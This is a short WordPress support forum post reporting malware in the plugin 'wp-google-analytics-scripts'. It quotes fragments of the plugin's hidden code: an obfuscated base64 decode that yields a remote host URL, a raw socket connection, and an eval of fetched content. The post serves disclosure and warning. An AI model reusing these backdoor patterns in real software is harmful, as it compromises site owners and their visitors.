Title: Virus in plugin wp-google-analytics-scripts
Last modified: August 31, 2016

---

# Virus in plugin wp-google-analytics-scripts

 *  [Vinegret](https://wordpress.org/support/users/vinegret/)
 * (@vinegret)
 * [10 years, 4 months ago](https://wordpress.org/support/topic/virus-in-plugin-wp-google-analytics-scripts/)
 * Plugin **wp-google-analytics-scripts** sims to have virus contents. It has text‘
   czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==’, that decodes to: unserialize(base64_decode(‘
   czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==’) = [http://piwer.pw/api.php](http://piwer.pw/api.php)
 * Suspicious lines:
    $func = ‘b’ . ‘a’ . ‘s’ . ‘e’ . ‘6’ . ‘4’ . ‘_’ . ‘d’ . ‘e’.‘
   c’ . ‘o’ . ‘d’ . ‘e’;
 * $socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && if (($socket = if (($socket
   = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET,
   SO_SNDTIMEO, array(‘sec’ => $timeout, ‘usec’ => $timeout * 1000)) && @socket_connect(
   $socket, $host, $port)) {
 * [@eval](https://wordpress.org/support/users/eval/)(‘@chdir(“‘ . addslashes(dirname(
   $file)) . ‘”);?>’ . $content);
 * dirname(__FILE__) . ‘/temporary_optimization_file.php’
 * [https://wordpress.org/plugins/wp-google-analytics-scripts/](https://wordpress.org/plugins/wp-google-analytics-scripts/)

The topic ‘Virus in plugin wp-google-analytics-scripts’ is closed to new replies.

 * ![](https://s.w.org/plugins/geopattern-icon/wp-google-analytics-scripts_1771ad.
   svg)
 * [WP Google Analytics Scripts](https://wordpress.org/plugins/wp-google-analytics-scripts/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/wp-google-analytics-scripts/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/wp-google-analytics-scripts/)
 * [Active Topics](https://wordpress.org/support/plugin/wp-google-analytics-scripts/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/wp-google-analytics-scripts/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/wp-google-analytics-scripts/reviews/)

 * 0 replies
 * 1 participant
 * Last reply from: [Vinegret](https://wordpress.org/support/users/vinegret/)
 * Last activity: [10 years, 4 months ago](https://wordpress.org/support/topic/virus-in-plugin-wp-google-analytics-scripts/)
 * Status: not resolved